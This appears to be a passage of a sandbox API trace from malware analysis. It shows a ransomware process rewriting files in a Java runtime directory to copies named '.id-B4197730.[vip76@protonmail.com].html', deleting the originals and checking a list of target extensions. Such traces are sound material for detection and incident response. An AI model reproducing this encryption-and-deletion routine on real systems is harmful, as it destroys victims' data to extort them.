	[0173.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.991] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.991] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.992] GetLastError () returned 0x0
	[0173.992] ReadFile (in: hFile=0x5b8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xa4c9, lpOverlapped=0x0) returned 1
	[0173.995] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xa4d0, lpOverlapped=0x0) returned 1
	[0173.997] ReadFile (in: hFile=0x5b8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.997] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0173.997] SetEndOfFile (hFile=0x580) returned 1
	[0173.997] CloseHandle (hObject=0x580) returned 1
	[0173.998] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.998] SetEndOfFile (hFile=0x5b8) returned 1
	[0174.112] CloseHandle (hObject=0x5b8) returned 1
	[0174.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0174.421] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1
	[0174.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.882] lstrlenW (lpString=".doc") returned 4
	[0174.882] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0174.882] lstrlenW (lpString=".docx") returned 5
	[0174.882] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0174.882] lstrlenW (lpString=".pdf") returned 4
	[0174.882] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0174.882] lstrlenW (lpString=".xls") returned 4
	[0174.882] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0174.882] lstrlenW (lpString=".xlsx") returned 5
	[0174.882] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0174.883] lstrlenW (lpString=".ppt") returned 4
	[0174.883] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0174.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.883] lstrlenW (lpString=".zip") returned 4
	[0174.883] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0174.883] lstrlenW (lpString=".rar") returned 4
	[0174.883] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0174.883] lstrlenW (lpString=".bz2") returned 4
	[0174.883] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0174.883] lstrlenW (lpString=".7z") returned 3
	[0174.883] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0174.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.883] lstrlenW (lpString=".dbf") returned 4
	[0174.883] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0174.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.883] lstrlenW (lpString=".1cd") returned 4
	[0174.883] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0174.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.883] lstrlenW (lpString=".jpg") returned 4
	[0174.883] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0174.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.883] lstrlenW (lpString=".doc") returned 4
	[0174.883] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0174.883] lstrlenW (lpString=".docx") returned 5
	[0174.883] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0174.883] lstrlenW (lpString=".pdf") returned 4
	[0174.883] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0174.883] lstrlenW (lpString=".xls") returned 4
	[0174.883] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0174.883] lstrlenW (lpString=".xlsx") returned 5
	[0174.883] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0174.884] lstrlenW (lpString=".ppt") returned 4
	[0174.884] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0174.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.884] lstrlenW (lpString=".zip") returned 4
	[0174.884] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0174.884] lstrlenW (lpString=".rar") returned 4
	[0174.884] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0174.884] lstrlenW (lpString=".bz2") returned 4
	[0174.884] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0174.884] lstrlenW (lpString=".7z") returned 3
	[0174.884] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0174.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.884] lstrlenW (lpString=".dbf") returned 4
	[0174.884] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0174.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.884] lstrlenW (lpString=".1cd") returned 4
	[0174.884] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0174.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0174.884] lstrlenW (lpString=".jpg") returned 4
	[0174.884] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0174.884] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0174.884] lstrlenW (lpString="zipfs.jar") returned 9
	[0174.884] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.047] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=68924) returned 1
	[0175.047] CloseHandle (hObject=0x5b4) returned 1
	[0175.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20
	[0175.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.355] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0175.406] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.406] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.406] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.703] GetLastError () returned 0x0
	[0175.703] ReadFile (in: hFile=0x590, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x10d3c, lpOverlapped=0x0) returned 1
	[0175.708] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10d40, lpOverlapped=0x0) returned 1
	[0175.710] ReadFile (in: hFile=0x590, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.710] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0175.711] SetEndOfFile (hFile=0x554) returned 1
	[0175.711] CloseHandle (hObject=0x554) returned 1
	[0175.711] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.711] SetEndOfFile (hFile=0x590) returned 1
	[0175.716] CloseHandle (hObject=0x590) returned 1
	[0175.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0175.721] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1
	[0175.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.722] lstrlenW (lpString=".doc") returned 4
	[0175.722] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0175.722] lstrlenW (lpString=".docx") returned 5
	[0175.722] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0175.722] lstrlenW (lpString=".pdf") returned 4
	[0175.722] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0175.722] lstrlenW (lpString=".xls") returned 4
	[0175.722] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0175.722] lstrlenW (lpString=".xlsx") returned 5
	[0175.722] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0175.722] lstrlenW (lpString=".ppt") returned 4
	[0175.722] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0175.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.722] lstrlenW (lpString=".zip") returned 4
	[0175.722] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0175.722] lstrlenW (lpString=".rar") returned 4
	[0175.722] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0175.722] lstrlenW (lpString=".bz2") returned 4
	[0175.722] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0175.722] lstrlenW (lpString=".7z") returned 3
	[0175.722] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0175.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.722] lstrlenW (lpString=".dbf") returned 4
	[0175.722] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0175.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.722] lstrlenW (lpString=".1cd") returned 4
	[0175.723] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0175.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.723] lstrlenW (lpString=".jpg") returned 4
	[0175.723] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0175.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.723] lstrlenW (lpString=".doc") returned 4
	[0175.723] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0175.723] lstrlenW (lpString=".docx") returned 5
	[0175.723] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0175.723] lstrlenW (lpString=".pdf") returned 4
	[0175.723] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0175.723] lstrlenW (lpString=".xls") returned 4
	[0175.723] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0175.723] lstrlenW (lpString=".xlsx") returned 5
	[0175.723] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0175.723] lstrlenW (lpString=".ppt") returned 4
	[0175.723] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0175.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.723] lstrlenW (lpString=".zip") returned 4
	[0175.723] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0175.723] lstrlenW (lpString=".rar") returned 4
	[0175.723] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0175.723] lstrlenW (lpString=".bz2") returned 4
	[0175.723] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0175.723] lstrlenW (lpString=".7z") returned 3
	[0175.724] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0175.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.724] lstrlenW (lpString=".dbf") returned 4
	[0175.724] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0175.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.724] lstrlenW (lpString=".1cd") returned 4
	[0175.724] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0175.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0175.724] lstrlenW (lpString=".jpg") returned 4
	[0175.724] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0175.724] lstrcmpiW (lpString1=".src", lpString2=".html") returned 1
	[0175.724] lstrlenW (lpString="fontconfig.properties.src") returned 25
	[0175.724] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0175.725] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10568) returned 1
	[0175.725] CloseHandle (hObject=0x590) returned 1
	[0175.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20
	[0175.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.725] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0175.726] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.726] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.726] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0175.726] GetLastError () returned 0x0
	[0175.727] ReadFile (in: hFile=0x590, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2948, lpOverlapped=0x0) returned 1
	[0175.731] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2950, lpOverlapped=0x0) returned 1
	[0175.733] ReadFile (in: hFile=0x590, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.733] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x106, lpOverlapped=0x0) returned 1
	[0175.733] SetEndOfFile (hFile=0x554) returned 1
	[0175.734] CloseHandle (hObject=0x554) returned 1
	[0175.734] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.734] SetEndOfFile (hFile=0x590) returned 1
	[0175.737] CloseHandle (hObject=0x590) returned 1
	[0175.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0175.738] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1
	[0175.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.738] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.738] lstrlenW (lpString=".doc") returned 4
	[0175.739] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0175.739] lstrlenW (lpString=".docx") returned 5
	[0175.739] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0175.739] lstrlenW (lpString=".pdf") returned 4
	[0175.739] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0175.739] lstrlenW (lpString=".xls") returned 4
	[0175.739] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0175.739] lstrlenW (lpString=".xlsx") returned 5
	[0175.739] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0175.739] lstrlenW (lpString=".ppt") returned 4
	[0175.739] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0175.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.739] lstrlenW (lpString=".zip") returned 4
	[0175.739] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0175.739] lstrlenW (lpString=".rar") returned 4
	[0175.739] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0175.739] lstrlenW (lpString=".bz2") returned 4
	[0175.739] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0175.739] lstrlenW (lpString=".7z") returned 3
	[0175.739] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0175.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.739] lstrlenW (lpString=".dbf") returned 4
	[0175.739] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0175.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.739] lstrlenW (lpString=".1cd") returned 4
	[0175.739] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0175.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.740] lstrlenW (lpString=".jpg") returned 4
	[0175.740] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0175.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.740] lstrlenW (lpString=".doc") returned 4
	[0175.740] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1
	[0175.740] lstrlenW (lpString=".docx") returned 5
	[0175.740] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1
	[0175.740] lstrlenW (lpString=".pdf") returned 4
	[0175.740] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1
	[0175.740] lstrlenW (lpString=".xls") returned 4
	[0175.740] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1
	[0175.740] lstrlenW (lpString=".xlsx") returned 5
	[0175.740] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1
	[0175.740] lstrlenW (lpString=".ppt") returned 4
	[0175.740] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1
	[0175.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.740] lstrlenW (lpString=".zip") returned 4
	[0175.740] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1
	[0175.740] lstrlenW (lpString=".rar") returned 4
	[0175.740] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1
	[0175.740] lstrlenW (lpString=".bz2") returned 4
	[0175.740] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1
	[0175.740] lstrlenW (lpString=".7z") returned 3
	[0175.740] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1
	[0175.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.741] lstrlenW (lpString=".dbf") returned 4
	[0175.741] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1
	[0175.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.741] lstrlenW (lpString=".1cd") returned 4
	[0175.741] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1
	[0175.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64
	[0175.741] lstrlenW (lpString=".jpg") returned 4
	[0175.741] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1
	[0175.741] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0175.741] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0175.741] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0175.745] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=75144) returned 1
	[0175.745] CloseHandle (hObject=0x590) returned 1
	[0175.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20
	[0175.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.746] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0175.748] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.748] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
